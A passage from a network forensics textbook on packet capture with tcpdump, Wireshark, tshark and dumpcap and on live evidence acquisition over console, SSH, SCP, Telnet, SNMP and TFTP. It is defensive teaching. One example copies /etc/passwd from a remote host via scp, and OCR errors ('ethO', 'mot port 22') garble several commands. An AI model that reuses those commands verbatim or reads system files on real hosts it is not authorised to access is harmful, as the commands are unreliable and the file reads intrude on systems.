bytes, which rendered full content reconstruction impossible.

Later versions of tcpdump allowed the user to specify “0” for the snaplen, which would
tell tcpdump to automatically capture the entire frame, no matter how long it was. Modern
versions of tcpdump maintain this syntax for backward compatibility.

For performance and regulatory reasons, investigators may still wish to specify a smaller
snaplength. As described in the tcpdump manual, “taking larger snapshots both increases
the amount of time it takes to process packets and, effectively, decreases the amount of
packet buffering. This may cause packets to be lost. You should limit snaplen to the smallest
number that will capture the protocol information you're interested in.” 26

3.2.3.2 Filtering Packets with tcpdump

Filtering during capture is very important because resources such as disk space, CPU cycles,
and traffic aggregation capacity are always limited. Filtering indiscriminately, however, can
cause loss of evidence, which can never be recaptured. You only get one chance to capture
a frame at the moment it zips past on the wire (or through the air). Once you miss it, it’s
gone forever and will never be part of your analysis.

The ability to filter is also crucial during analysis. When resources permit, it is often
useful to “throw a wide net” and sift through the data offline. However, it can be very
difficult to find the packets of interest within potentially huge volumes of data.

Fortunately, since tcpdump is a libpcap-based tool, it incorporates the BPF language,
which investigators can use to filter traffic during capture and analysis. One good strategy
for analysis of large volumes of traffic is to begin by filtering out any types of traffic that are
not related to the investigation. For example, imagine that we have a packet capture that
contains 75% web traffic (TCP port 80), which is fairly typical for an enterprise network. If
our investigation is entirely unrelated to web traffic, we might decide to use a BPF filter of
'not (tcp and port 80)' to cut the volume by 75%. Phew!

Here’s an example that shows how tcpdump is used to display traffic from the “eth(”
network interface, excluding TCP port 80 traffic:

# tcpdump -nni ethO 'mot (tcp and port 80)'

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode

listening on ethO, link-type EN1OMB (Ethernet), capture size 65535 bytes

12:49:33.631163 IP 10.30.30.20.123 > 10.30.30.255.123: NTPv4, Broadcast,
length 48

12:49:38.197072 IP 192.168.30.100.57699 > 192.168.30.30.514: SYSLOG local2.
notice, length: 1472

12:49:38.197319 IP 192.168.30.100.57699 > 192.168.30.30.514: SYSLOG local2.
notice, length: 1472

12:49:38.197324 IP 192.168.30.100 > 192.168.30.30: udp

12:49:38.197327 IP 192.168.30.100 > 192.168.30.30: udp

12:49:38.197568 IP 192.168.30.100.57699 > 192.168.30.30.514: SYSLOG local2.
notice, length: 1472

12:49:38.197819 IP 192.168.30.100.57699 > 192.168.30.30.514: SYSLOG local2.
notice, length: 1472

12:49:38.197825 IP 192.168.30.100 > 192.168.30.30: udp

26. “Manpage of TCPDUMP,” March 5, 2009, http://www.tcpdump.org/tcpdump _man.html.
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12:49:38.197827 IP 192.168.30.100 > 192.168.30.30: udp

12:49:38.197829 IP 192.168.30.30.39879 > 10.30.30.20.53: 16147+ PTR?
100.30.168.192.in-addr.arpa. (45)

10 packets captured

10 packets received by filter

0 packets dropped by kernel

In Figure 3-1, we have shown a few commonly used tcpdump command-line options.
There are many more command-line options for tcpdump than are presented here, but
these are some of the most important for capturing traffic and storing it in files.

The -C option, used with -w, allows analysts to specify the maximum size of a packet
capture file, in millions of bytes. Once the file has reached the specified size, tcpdump closes
it and opens a new file that has the same name with a number appended to it (starting at
1 and incrementing). This allows investigators to keep pcap files limited to a size that is
easily transferred and practical for inspection with other analysis tools such as Wireshark.
In addition, using the -W option along with the -C option, analysts can specify how many
of these output files should exist on the hard drive at any one time. Once the limit has been
reached, tcpdump begins to overwrite the oldest file, creating a rotating store of packets
that occupies a fixed amount of disk space.

Below are five common invocations of tcpdump, which illustrate some of the basic func-
tionality:

e tcpdump -i ethO -w great_big_packet_dump.pcap
This is the simplest case of listening on interface ethO and writing all of the packets
out to a single monolithic file.

e tcpdump -i ethO -s 0 -w biggest_possible_packet_dump.pcap
This instance is similar to the one above, except that by setting the snaplength to
zero, we are telling tcpdump to grab the entire frame regardless of its size (rather than
the first 68 bytes only). Note that specifying -s 0 is not necessary for newer versions

tcpdump command-line usage:

-i Listen on interface (ethO, enl, 2)
-n Do not resolve addresses to names.
-r Read packets from a pcap file

-w Write packets to a pcap file
-s Change the snapshot length from the default

-C With -w, limit the capture file size, and begin a new file when it is
exceeded
-W With -C, limit the number of capture files created, and begin

overwriting and rotating when necessary
-D List available adapters (WinDump only)

Figure 3-1. Handy tcpdump command-line options. See the tcpdump manual for more
details.?”

27. Ibid.
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of tcpdump, because the command functionality was updated to make this behavior
the default.

e tcpdump -i ethO -s 0 -w targeted_full_packet_dump.pcap 'host 10.10.10.10'
Here we introduce a simple BPF filter to grab and store in their entirety only those
packets sent to or from the host at the address “10.10.10.10.”

e tcpdump -i ethO -s 0 -C 100 -w rolling split_100MB_dumps.pcap
Here we abandoned our host-based targeting, and instead we are grabbing all of
every frame, but splitting the captures into multiple files no larger than 100MB each.

e tcpdump -i ethO -s 0 -w RFC3514_evil_bits.pcap 'ip[6] & 0x80 != 0'
Finally, we introduce a more complicated BPF filter, in which we target the first
byte of the IP fragmentation fields (byte offset 6). We employ a bitmask to narrow our
inspection to the single highest order bit, most commonly known as the IP “reserved
bit,” and we capture and store the packet only if the reserved bit is nonzero.

The Evil Bit (RFC 791)

The original RFC 791 “Internet Protocol,” published in 1981, specified that the very first, or
“high order,” bit of the sixth byte offset would be “reserved”—in other words, unused—and
as such it should be zero.?®

On April Fool’s Day in 2003, Steve Bellovin published RFC 3514, “The Security Flag
in the IPv4 Header,” which proposed that this bit be used as a “security flag.” Bellovin
suggested that any packet that had been built for the purpose of benign and normal IP
traffic keep the bit unset, but that any packet that had been built for malicious or evil
intent must set this bit to one. He reasoned that as a result, firewall vendors and those
interested in intrusion detection would have a much easier time detecting which packets to
disallow or to alert on.?"

The following tcpdump invocation allows us to capture only traffic with the RFC 3514
Evil Bit set, while ignoring all the rest:

tcpdump -i ethO -s O -w RFC3514_evil_bits.pcap 'ip[6] & 0x80 != 0

For those attackers who are interested in adhering to specification, Jason Mansfield has
created an “evil bit changer.” This handy utility captures traffic or reads it from a file, sets
the Evil Bit to “1,” recalculates the IP header checksum, and then forwards the frame along
to its intended destination.’

28. Information Sciences Institute, USC, “RFC 791—Internet Protocol: Darpa Internet Program Protocol
Specification,” September 1981, http://www.rfc-editor.org/rfc/rfc791.txt.

29. S. Bellovin, “RFC 3514—The Security Flag in the IPv4 Header,” IETF, April 1, 2003, http://www.rfc-
editor.org/rfc/rfc3514.txt.

30. Jason Mansfield, “evilbitchanger—Set the evil bit on IP packets.—Google Project Hosting,” 2011,
http://code.google.com/p/evilbitchanger/.
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3.2.4 Wireshark

Wireshark is a graphical, open-source tool designed for capturing, filtering, and analyzing
traffic. Wireshark’s easy-to-use graphical user interface makes it a great first tool for novice
network forensics analysts, while its advanced packet filtering capabilities, protocol decod-
ing features, and support for the Packet Details Markup Language (PDML) also make it
extremely useful for experienced investigators.

Wireshark (originally named “Ethereal”) was initially released in 1998 by Gerald Combs.
(The name was changed in 2006 when Combs moved to CACE Technologies because his
previous employer maintained the trademark “Ethereal.” Subsequently, CACE Technologies
was acquired by Riverbed Technology.) Over time, Wireshark has continued to mature, and
there are now hundreds of contributing authors.3!

Wireshark allows you to capture packets on any system network interface, assuming you
have appropriate permissions to do so and your network card supports sniffing. Wireshark
can display packets as they are captured in real time. It is a very powerful protocol analyzer
and uses a lot of processing power crunching through protocol data. Recall that in our
previous discussion of libpcap that if the CPU load is too high, packets can get dropped. It
is worth carefully examining and tuning Wireshark’s options for capturing packets, especially
since displaying and filtering packets while capturing can use up CPU power and result in
lost packets.

Figure 3-2 shows a screenshot of Wireshark’s “Capture Options” panel.

3.2.5 tshark

Tshark is a command-line network protocol analysis tool that is part of the Wireshark
distribution. Like Wireshark, it is libpcap-based, and can read and save files in the same
standard formats as Wireshark. In addition to analysis, you can also use tshark to capture
packets.?? The example below shows tshark capturing traffic on the network interface “eth0,”
filtering out all port 22 traffic, and storing the results in the file “test.pcap.”

# tshark -i eth0 -w test.pcap 'mot port 22'
Capturing on ethO
235

Please see Section 4.1.2.3 for more discussion of tshark’s protocol analysis capabilities.

3.2.6 dumpcap

The Wireshark distribution also comes with a command-line tool, “dumpcap,” which is
specifically designed to capture packets.?3 If you would like to use the Wireshark distribu-
tion to capture packets for an investigation, the dumpcap tool is probably your best choice.
Since dumpcap is a specialized tool designed just for capturing packets, it takes up fewer
system resources, maximizing your capture capabilities. Furthermore, many operating sys-
tems limit traffic sniffing to programs that are run with administrative privileges. Wireshark

31. “Wireshark About,” 2011, http://www.wireshark.org/about.html.

32. “tshark—The Wireshark Network Analyzer 1.5.0,” http://www.wireshark.org/docs/man-pages/
tshark.html.

33. “Wireshark,” http://www.wireshark.org/docs/wsug-html_chunked/AppToolsdumpcap.html.
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Capture

Imterface: | ﬂ

IP address: unknown

Link-layer header type: | (mot supported)| =

Capture packets in premiscuous mode
[J Capture packets in pcap-ng format (experimental)

[ Limit each packet to |1 - bytes
Capture Filter: | ﬂ

Capture File(s) Display Options

File: | Browse... Update list of packets in real time
[ Use multiple Files
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[ - Automatic scrolling in live capture
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Figure 3-2. Wireshark’s “Capture Options” screen (Wireshark version 1.2.11).

[J Enable network name resolution

itself is a complex, multifaceted program. From a security perspective, it is safer to limit
administrative access to the smaller, simpler dumpcap program.

Dumpcap automatically writes packet captures to a file. Here is an example in which we
use dumpcap to capture traffic on the interface eth0, filter out all port 22 traffic, and save
the results in the file “test.pcap”:

$ dumpcap -i ethO -w test.pcap 'mot port 22'
File: test.pcap

Packets: 12

Packets dropped: O

In Chapter 4, we discuss Wireshark’s packet analysis and data extraction capabilities.

3.3 Active Acquisition

As we discussed in Chapter 2, evidence lives in many places throughout a network. In addi-
tion to capturing network traffic as it travels through wires and in the air, we may also choose
to gather evidence from network devices, including firewalls, web proxies, logging servers,
and more. In many cases, these devices cannot be removed from the production environment
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without causing serious damage to business operations. In other cases, the evidence stored
is highly volatile and must be collected while the system is still running, perhaps even still
on the network. For these reasons and others, network forensic investigators often interact
with network devices that are live and on the network.

By definition, active evidence acquisition modifies the environment. Investigators should
be highly aware of the various ways in which live acquisition modifies the devices and
environment under investigation, and work to minimize the impact.

3.3.1 Common Interfaces

In this section, we review common ways that investigators gain access to live network-based
devices, including;:

e Console

e Secure Shell (SSH)

e Secure Copy (SCP) and SSH File Transfer Protocol (SFTP)
Telnet

Simple Network Management Protocol (SNMP)
Trivial File Transfer Protocol (TFTP)

e Web and proprietary interfaces

In later chapters, we review evidence acquisition and analysis relating to specific devices,
including firewalls, web proxies, central log servers, and more.

3.3.1.1 Console

The console is an input and display system, usually a keyboard and monitor connected to a
computer. Many network devices have a serial port that you can use to connect a terminal
to the console.

It is possible to connect modern laptops and desktops to the serial console of network
devices using USB-to-serial adapters. Figure 3-3 shows an example of a Keyspan serial-
to-USB adapter. Once your forensic workstation is connected to the serial port using a

Figure 3-3. A Keyspan serial-to-USB adapter, which can be used to connect a modern laptop
or desktop to the serial console of a network device.
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serial-to-USB adapter, you can use the Linux “screen” command to connect to the console
and log your session:

$ screen -L /dev/ttyUSBO

Whenever possible, it is best to connect directly to the console of a network device rather
than connecting remotely over the network. When you connect to a device over the network,
you create additional traffic and often unintentionally change the state of local networking
devices (such as CAM tables, log files, etc.). When you connect directly to the console, you
can dramatically reduce your footprint.

3.3.1.2 Secure Shell (SSH)

The Secure Shell protocol (SSH) is a common way for investigators to gain remote command-
line access to systems containing network-based evidence. Developed as a replacement for
the insecure Telnet and rlogin, SSH encrypts authentication credentials and data in transit.
This means that even if the SSH traffic is intercepted, an attacker would be unable to
recover the username, password, or contents of the communication. OpenSSH is a widely
used implementation of SSH, which has been released free and open-source under a BSD
license.

Most modern network devices now support SSH as a method for remote command-line
interaction. Here is an example in which we use SSH to log into a system remotely on TCP
port 4022, using the account “sherri”:

$ ssh -p 4022 sherri@remote.lmgsecurity.com

You can also use SSH to run commands remotely. In the following example, we execute
the command “hostname” to retrieve the hostname of the remote server (which is named
“remote”):

$ ssh -p 4022 sherri@remote.lmgsecurity.com 'hostname'
remote

3.3.1.3 Secure Copy (SCP) and SFTP

In addition to providing interactive command-line access, SSH implements the Secure Copy
Protocol (SCP), which is a command-line utility designed to transfer files between networked
systems. Local files can be referred to by their local paths, while remote files are specified
by the username, hostname, and path to the file on the remote system, as in the following
example:

$ scp -P 4022 jonathan@remote.lmgsecurity.com:/etc/passwd .

Here we copied the /etc/passwd file from the remote server to the current working
directory on our local system, using the account “jonathan.” Note the single dot argument
at the end of the line, which specifies that we want to copy in our local directory. Also note
the capital “P” used to specify the port (in contrast, the “ssh” command uses a lowercase
“p” for this purpose, which can be confusing).

The SSH File Transfer Protocol, or SF'TP, is an alternative protocol used in conjunction
with SSH for secure file transfer and manipulation. It is more portable and offers more
capabilities than SCP, but file transfer tends to be slower.
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3.3.1.4 Telnet (yes, Telnet)

You may still encounter network devices that can only be accessed remotely using Telnet.
Telnet is a command-line remote communications interface, which was originally developed
in 1969 and eventually standardized by the IETF in RFCs 854 and 855.34:3% It became
extremely widespread and is still used to this day for remote access on many network
devices. In addition to connecting to Telnet servers, the Telnet client can be used to interact
with a wide variety of servers, such as SMTP and HTTP.

As was common for communications protocols developed in the early days of networking,
Telnet had only limited security built-in. All transactions are in plain text, so authentication
credentials and data are sent unencrypted across the wire. If you are investigating a network
that an attacker may be monitoring, be very careful because simply logging into a device
via Telnet will expose its credentials to anyone who can capture traffic on the local segment.

Despite its serious security drawbacks, in many cases Telnet is the only option for remote
access to a network device, because some devices have such limited hardware or software
capacities that they cannot upgrade to more secure remote access tools such as SSH.

Here is an example in which we use Telnet to connect to a remote HTTP server on
port 80:

$ telnet lmgsecurity.com 80
Trying 204.11.246.1...
Connected to lmgsecurity.com.
Escape character is '"]°'.

GET / HTTP/1.1

Host: lmgsecurity.com

HTTP/1.1 200 OK

Date: Sun, 26 Jun 2011 21:39:33 GMT

Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny10 with Suhosin-Patch
mod_python/3.3.1 Python/2.5.2 mod_ssl1/2.2.9 OpenSSL/0.9.8g mod_perl/2.0.4
Perl/v5.10.0

Last-Modified: Thu, 23 Jun 2011 22:40:55 GMT

ETag: "644284-17da-4a668c728ebcO"

Accept-Ranges: bytes

Content -Length: 6106

Content -Type: text/html

3.3.1.5 Simple Network Management Protocol (SNMP)

One of the most commonly used protocols for network device inspection and management is
the Simple Network Management Protocol (SNMP). Using SNMP, you can poll networked
devices from a central server, or push SNMP information from remote agents to such a
central aggregation point. SNMP is frequently used as a medium for communicating and

34. J. Postel and J. Reynolds, “RFC 854—Telnet Protocol Specification,” IETF, May 1983, http://
rfc-editor.org/rfc/rfc854.txt.

35. J. Postel and J. Reynolds, “RFC 855—Telnet Option Specifications,” IETF, May 1983, http://
rfc-editor.org/rfc/rfc855.txt.
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aggregating both network management information (often of interest to the forensic analyst)
and security event data (usually of great interest to forensic analysts). In network forensics,
SNMP is commonly used in one of two ways: event-based alerting and configuration queries.
SNMP was designed to be extensible through the definition of the “management
information base” (MIB), which basically describes the database of managed information.
Unfortunately, this MIB definition is based on ASN.1 notation, which has been found to
have multiple flaws both in design and in implementation (parsing languages are notori-
ous for their propensity for errors in input validation). There are also problems with the
authentication model, which have been best addressed in the current version (SNMPv3).

SNMP Operations
Here’s a list of the basic SNMP operations:

e Polling: GET, GETNEXT, GETBULK
e Interrupt: TRAP, INFORM
e Control: SET

As flawed as SNMP has historically been, it is still widely used and can be a critical
component in network forensic investigations. There are far too many SNMP-based tools in
wide deployment to even begin to discuss them all here. However, they all work in roughly
the same way, as we now discuss.

In products that poll SNMP agents, there are a few methods available: GET, GET-
NEXT, and GETBULK. These operations are employed to retrieve information from the
managed device, including routing tables, system uptime, hostname, ARP tables, CAM
tables, and more. The “GET” operation is used to retrieve one piece of information, whereas
the “GETNEXT” and “GETBULK” commands are used to retrieve multiple pieces of
information.

Many devices can be configured to emit SNMP traps, which are used to communicate
information about events on the device. Rather than polling, the central SNMP console
can receive events via the SNMP TRAP operation from many sources as they occur and
aggregate them. SNMP traps ensure timely notifications while reducing unnecessary network
traffic.

SNMP can also be used to control the configuration of remote devices using the “SET”
command.

SNMPv1 and SNMPv2 use “community strings” for authentication, which are sent in
plain text across the network. As a result, there is significant risk of credential theft if
the community strings are intercepted as they are sent across the network. Commonly,
the community string “public” has read-only access to the MIB, and “private” has read-
write access. SNMPv3 supports strong encryption algorithms that can be used to encrypt
authentication data and packet contents, if these options are selected.
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3.3.1.6 Trivial File Transfer Protocol (TFTP)

The Trivial File Transfer Protocol (TFTP) was first published in 1980, and designed as a
simple, automated means of transferring files between remote systems. Like Telnet, TFTP
was designed before most people were concerned about “bad actors” on the network. Conse-
quently, it fit a useful niche: file transfer without the burden of authentication. The features
of TFTP are extremely limited; one of the design goals was to keep the service very small
so that it could run on systems with extremely limited storage space and memory. It runs
over UDP on port 69.36:37

Despite the lack of security, TFTP remains in widespread use today (generally restricted
to internal networks). It has been incorporated into many network devices, from Voice over
IP phones to firewalls to desktop BIOSs. TFTP is often used as a means through which
distributed devices can download updates from a central server within an organization. On
many routers and switches, it is used to back up and restore files. It was also used for
payload propagation in both the CodeRed and Nimda outbreaks.

Forensic analysts may need to use TFTP to export files from a router, switch, or other
device that does not support SCP or SFTP for such operations.

3.3.1.7 Web and Proprietary Interfaces

These days most commercial network devices, from DSL routers to wireless access points,
come with a web-based management interface. Through HTTP or HTTPS, you can access
configuration menus, event logs, and other data that the device contains. Web interfaces
are popular because they are very portable; they do not require the user to install a special
client to access the device.

Typically, web interfaces are available by default as unencrypted HT'TP sessions, in which
case the login credentials and any data transferred over the connection is unencrypted and
easily intercepted. Many vendors also offer SSL/TLS-encrypted web interfaces, although the
certificates used with these services often have errors, which cause problems with validation.

Many vendors such as Cisco and netForensics have also developed Java-based cross-
platform interfaces or other types of proprietary interfaces for their devices.

For forensic investigators, one of the biggest challenges with GUI interfaces is logging
forensic activities. Text-based interfaces can typically be used with “script” or other tools
that log commands; with GUIs, it can be harder for an investigator to automatically log
activities. Often, the best fallback is screenshots and a good notebook.

3.3.2 Inspection Without Access

In many cases, it is desirable to gain information about a device’s configuration or state
without accessing the device at all via an interface. There are also times when the password
to user interfaces is not available. It is possible to gather extensive information about a

36. K. R. Sollins, “RFC 783—TFTP Protocol (revision 2),” IETF, June 1981, http://rfc-editor.org/rfc/
rfc783.txt.

37. K. R. Sollins, “RFC 1350—TFTP Protocol (revision 2),” IETF, July 1992, http://www.rfc-editor
.org/rfc/rfc1350.txt.


http://rfc-editor.org/rfc/rfc783.txt
http://rfc-editor.org/rfc/rfc783.txt
http://www.rfc-editor.org/rfc/rfc1350.txt
http://www.rfc-editor.org/rfc/rfc1350.txt

3.3 Active Acquisition 71

device’s configuration and state through external inspection, using port scanning, vulnera-
bility scanning, and other methods.

3.3.2.1 Port Scanning

Port scanning, using a tool such as nmap, is an effective way to retrieve information about
open ports and software versions of a device. Note that port scanning is an active process,
meaning that you will generate network traffic and, in the process, modify the state of the
targeted device.

3.3.2.2 Vulnerability Scanning

Vulnerability scanning is the next level of active external inspection. In addition to port
scanning, vulnerability scanners test target systems for a wide variety of known vulnera-
bilities. If you are concerned that your target of interest may be compromised, this can
sometimes provide strong clues as to how the compromise may have occurred.

Vulnerability scanning generates network traffic and modifies the state of the targeted
device. In some cases, it can even crash the targeted device. Be cautious and understand
the options you have selected before running a vulnerability scanner against your target of
interest.

3.3.3 Strategy

Here are some tips for collecting evidence from network devices. In general, our goal is
to preserve the evidence while minimizing our footprints throughout the environment. Of
course, your specific strategy will vary for each investigation.

e Refrain from rebooting or powering down the device. A lot of network-based
evidence exists as volatile data in the memory of network devices. For example, ARP
tables on routers change dynamically and typically would not survive a reboot. The
current state of network connectivity is similarly volatile. Make sure that you capture
all the volatile evidence you need before allowing the device to be rebooted. A reboot
may also cause modifications to persistent logfiles stored on disk, particularly if local
disk space is limited and log files are overwritten at designated intervals or when space
is low.

e Connect via the console rather than over the network. It is usually preferable
to connect via the system console whenever possible, rather than over the network.
Connecting to a device over the network will necessarily generate network traffic and
modify the state of the device’s network connections. It may also alert an attacker on
the network to your presence. Connecting instead directly to the system console will
minimize your network footprint.

e Record the system time. Always check to see what the time skew is between the
network device you are investigating and a reliable source. Even a small time skew
can make it very difficult to correlate evidence, unless you are aware of it and can
compensate. Unfortunately, most forensic tools do not have easy ways of adjusting
specific logs for time skew, so you may need to compare skewed records manually or
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using customized scripts. If you have access to a network device for an extended period
of time, it is a good idea to collect the time at regular intervals because the time skew
may change.

Collect evidence according to level of volatility. This is a general rule of thumb
for all digital forensic investigations: when all else is equal, collect the most volatile
evidence first and work your way down to more persistent evidence. This will increase
your chances of capturing all the evidence you are after. Of course, sometimes other
factors may cause you to collect evidence in a different order—for example, if the most
volatile evidence is very difficult to obtain or perhaps not as important. In many cases,
you simply cannot collect all the evidence you want, and must pick evidence from one
system over another.

Record your investigative activities. When connecting via a command-line inter-
face, you can often record your commands using utilities such as “screen” or “script”.
These tools can help you clearly delinate what footprints were the result of your own
activities and what were those of the existing system. Recording your own commands
also helps you stay organized, and will help you become a more efficient investigator
because you will be able to refer to your prior work in other investigations.

Many investigators are wary of recording their own commands because they are
afraid of messing up and leaving a record. Don’t worry about making mistakes! All
investigators fat-finger commands or have to look up proper command syntax from
time to time. This is the nature of network forensics; we deal with so many different
types of equipment that we must often refer to manuals or rely on local network staff
for specific syntax. It’s much better to maintain a record of all your activities, fat-
fingered commands and all, than to not maintain any record, or worse, to maintain an
inaccurate record of your commands that does not match what you actually typed.

Graphical interfaces are challenging because it is more difficult to record your in-
vestigative activities. Whenever possible, take screen captures, photos or recordings of
your graphical connections.

3.4 Conclusion

As an investigator, you will always leave footprints. The more places you look for evidence,
the more footprints you will leave. Fortunately, there are ways that you can minimize your
impact on the environment.

In this chapter, we discussed the concepts of passive and active evidence acquisition. We

reviewed common methods for gaining access to network traffic and software used for cap-
turing, filtering, and storing packet data. We also discussed interfaces used to actively gather
evidence from network devices, ranging from the system console to proprietary graphical
interfaces accessed via a remote client. Finally, we talked about strategies for reducing your
footprint on the network, while still obtaining the evidence you seek.
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Traffic Analysis

Chapter 4, "Packet Analysis,”" is a comprehensive study of protocols, packets, and flows, and
methods for dissecting them.

Chapter 5, “Statistical Flow Analysis,” presents the increasingly important field of statistical
flow record collection, aggregation, and analysis.

Chapter 6, “"Wireless: Network Forensics Unplugged,” discusses evidence collection and anal-
ysis of wireless networks, specifically focusing on the IEEE 802.11 protocol suite.

Chapter 7, “Network Intrusion Detection
and Analysis,” is a review of network intrusion prevention and detection systems, which are
specifically designed to produce security alerts and supporting evidence.
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Chapter 4

Packet Analysis

Twas brillig, and the Protocols
Did USER-SERVER in the wabe.
All mimsey was the FTP,
And the RJE outgrabe,

Beware the ARPANET, my son;
The bits that byte,
the heads that scratch...

—R. Merryman, “ARPAWOCKY” (RFC 527)!

Once you have captured network traffic, what do you do with it? Depending on the nature
of the investigation, you might want to analyze the protocols in use, search for a specific
string, or carve out files.

Perhaps you received an alert from an IDS about suspicious traffic from a particular host
and you would like to identify the cause. Or perhaps you are concerned that an employee
is exporting confidential data and you need to search outbound communications for specific
keywords. Or perhaps you’ve discovered traffic on the network that you can’t recognize or
interpret and you want to figure out the cause.

In all of these cases, it is useful to understand the fundamentals of protocol analysis,
packet analysis, and multipacket stream analysis. During this chapter, we learn how to analyze
fields within protocols, protocols within packets, packets within streams, and then reconstruct
higher-layer protocol data from streams. Throughout this discussion we provide examples of
common tools and techniques that investigators can use to accomplish specific goals.

Investigators face many challenges when conducting packet analysis. It is not always
possible to recover all protocol information or contents from a packet. The packet data may
be corrupted or truncated, the contents may be encrypted at different layers, or the protocols
in use may be undocumented. More and more often, the sheer volume of traffic makes it
difficult to find the useful packets in the first place. Fortunately, the tools available for packet
analysis are becoming increasingly sophisticated. A well-trained forensic investigator should
be familiar with a variety of tools and techniques so that you can select the right tool for
the job.

1. R. Merryman, “ARPAWOCKY” (RFC 527), IETF, June 1973, http://rfc-editor.org/rfc/rfc527.txt.
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4.1 Protocol Analysis

Protocol analysis refers to the art and science of understanding how a particular commu-
nications protocol works, what it’s used for, how to identify it, and how to dissect it. This
may not be as straightforward as you might expect. In an ideal world, all protocols would
be neatly cataloged, publicized, and implemented according to specification. In reality, none
of this is true. Many protocols are deliberately kept secret by their inventors, either to pro-
tect intellectual property, keep out competition, or for the purposes of security and covert
communications. Other protocols are simply not well documented because no one has taken
the time.

Some protocols are publicly documented, such as the IETF-specified standards (which we
discuss in greater detail shortly). However, that does not mean that hardware and software
vendors have chosen to properly implement them. Often, manufacturers implement protocols
before standards have been formally ratified, or only partially implement them. Engineers
and programmers often make mistakes that result in behavior which is not compliant with
standards.

Regardless of whether protocol specifications are formally published, you never know
what you'll find actually traversing the networks. It is very rare for software developers
or equipment manufacturers to completely adhere to every aspect of a published standard
(even their own!). This fact is routinely exploited by attackers to bypass intrusion detection
systems and firewall rules, smuggle data in strange places, and generally create mayhem.

The bottom line is that protocol analysis is a challenging art.

Definition: Protocol Analysis

Protocol analysis—Examination of one or more fields within a protocol’s data structure.
Protocol analysis is commonly conducted for the purposes of research (i.e., as in the case of
an unpublished protocol specification) or network investigation.

4.1.1 Where to Get Information on Protocols

When you are searching for documentation about a particular protocol, there are many
possible places to look. Perhaps the most well known is the IETF’s large, public repository
of documented protocols. Other standards bodies, vendors, and researchers also maintain
public and private caches of protocol documentation.

4.1.1.1 IETF Request for Comments (RFC)

In 1969, with the emergence of the ARPANET, a small group of researchers began dis-
tributing “requests for comments” (RFCs), which were initially defined as “any thought,
suggestion, etc. related to the HOST software or other aspect of the [ARPANET] network.”
Each RFC was numbered and sent to network engineers at different organizations involved
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in the creation of the ARPANET. The original distributors wrote that “we hope to promote
the exchange and discussion of considerably less than authoritative ideas.” 2

Over time, RFCs have emerged as a way to develop, communicate, and define interna-
tional standards for internetworking. They are developed and distributed by the Internet
Engineering Task Force (IETF), a “loosely self-organized group of people who contribute
to the engineering and evolution of Internet technologies ... the principal body engaged in
the development of new Internet standard specifications.” 3

A subset of RFCs are approved by the IETF as Internet Standards, labeled the “STD”
subseries. Internet Standards RFCs are heavily vetted and tested by the community and
subject to stricter documentation requirements than other types of RFCs. RFCs which are
“standards-track” documents, have different maturity levels: “Proposed Standard,” “Draft
Standard,” and “Internet Standard,” the latter of which is given an STD series number
upon publication (Internet Standards also retain their RFC numbers).*

The IETF specifies in RFC 4677 that “The IETF makes standards that are often adopted
by Internet users, but it does not control, or even patrol, the Internet.” This has important
implications for network forensic investigators; although the IETF may publish an Internet
Standard, no one monitors network traffic or inspects networking software to ensure that
standards are actually being followed. Instead, what exists on networks is what individual
organizations, companies, users, and attackers create.

Founded in 1992, the Internet Society (ISOC) now sponsors the IETF, and chartered
both the Internet Architecture Board (IAB) and the Internet Assigned Numbers Authority
(TANA).

The canonical repository of RFCs on the Internet is at “http://www.rfc-editor.org” (per
RFC 4677).°

Rough Consensus and Running Code

Steve Crocker, author of RFC 1, said: “Instead of authority-based decision-making, we
relied on a process we called ‘rough consensus and running code.’® Everyone was welcome
to propose ideas, and if enough people liked it and used it, the design became a standard.”

“After all, everyone understood there was a practical value in choosing to do the same
task in the same way.””

2. S. Crocker, “RFC 10—Documentation Conventions,” IETF, July 29, 1969, http://www.rfc-editor.org/
rfc/rfel0.txt.

3. P. Hoffman and S. Harris, “RFC 4677—The Tao of IETF: A Novice’s Guide to the Internet Engineering
Task Force,” IETF, September 2006, http://www.ietf.org/rfc/rfc4677 txt.

4. S. Bradner, “RFC 2026—The Internet Standards Process—Revision 3,” IETF, October 1996, http://
rfc-editor.org/rfc2026.txt.

5. P. Hoffman and S. Harris, “RFC 4677—The Tao of IETF: A Novice’s Guide to the Internet Engineering
Task Force,” http://www.rfc-editor.org/rfc/rfc4677.txt

6. Ibid.

7. Stephen D. Crocker, “Op-Ed Contributor—How the Internet Got Its Rules,” New York Times, April 6,
2009, http://www.nytimes.com/2009/04/07/opinion/07crocker.html? r=2&em.
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4.1.1.2 Other Standards Bodies

The IETF isn’t the only standards body, of course. There are other standards organiza-
tions that publish communications protocols for networking equipment and software. These
include:

e Institute of Electrical and Electronics Engineers Standards Association
(IEEE-SA) The IEEE Standards Association develops standards for a broad range
of electrical engineering topics, ranging from consumer electronics to wired and wireless
networking. Some of the most well-known IEEE specifications include those developed
by the IEEE LAN/MAN Standards Committee, such as the “802.11” suite of protocols
for wireless networking® and 802.3 (Ethernet).’

e International Organization for Standardization (ISO) The ISO is an inter-
national nonprofit organization comprised of representatives from national standards
institutes from 163 countries. They publish standards for a variety of industries, in-
cluding information technology and communications.*°

4.1.1.3 Vendors

Many vendors develop their own proprietary protocols for equipment, software, and com-
munications. Some vendors work with standards bodies to instigate widespread adoption of
their standards and help ensure compatibility. For example, Cisco employees worked as part
of the IETF to develop RFC 2784, “Generic Routing Encapsulation,” ' which describes an
open trunking protocol. Microsoft publishes an online library of their technical specifications,
which include communications protocols used by Windows servers and clients. '?

Other times, vendors work hard to keep their protocols secret, usually to reduce compe-
tition. America Online, for example, refused to publish their proprietary instant messaging
protocol (Open System for CommunicAtion in Realtime, or OSCAR) for many years, and
worked hard to prevent competitors from developing AIM-compatible chat clients. Over
time, many vendors and individual engineers reverse-engineered the protocols. Eventually,
AOL published information about some aspects of the OSCAR protocol.

4.1.1.4 Researchers

Researchers at many universities, private institutions, and their parents’ garages, have
analyzed networking protocols and traffic. Often, this is undertaken in an attempt to

8. IEEE, “Part 11: Wireless LAN Medium Access Control (MAC) and Physical Layer (PHY) Specifica-
tions IEEE Standard for Information Technology—Telecommunications and Information Exchange between
Systems—Local and Metropolitan Area Networks—Specific Requirements,” IEEE Standards Association
(June 12, 2007), http://standards.ieee.org/getieee802/download/802.11-2007.pdf.

9. “IEEE-SA -IEEE Get 802 Program,” IEEE Standards Association, 2010, http://standards.ieee.org/
getieee802/802.3.html.

10. “ISO,” 2011, http://www.iso.org/iso/iso_catalogue.htm.

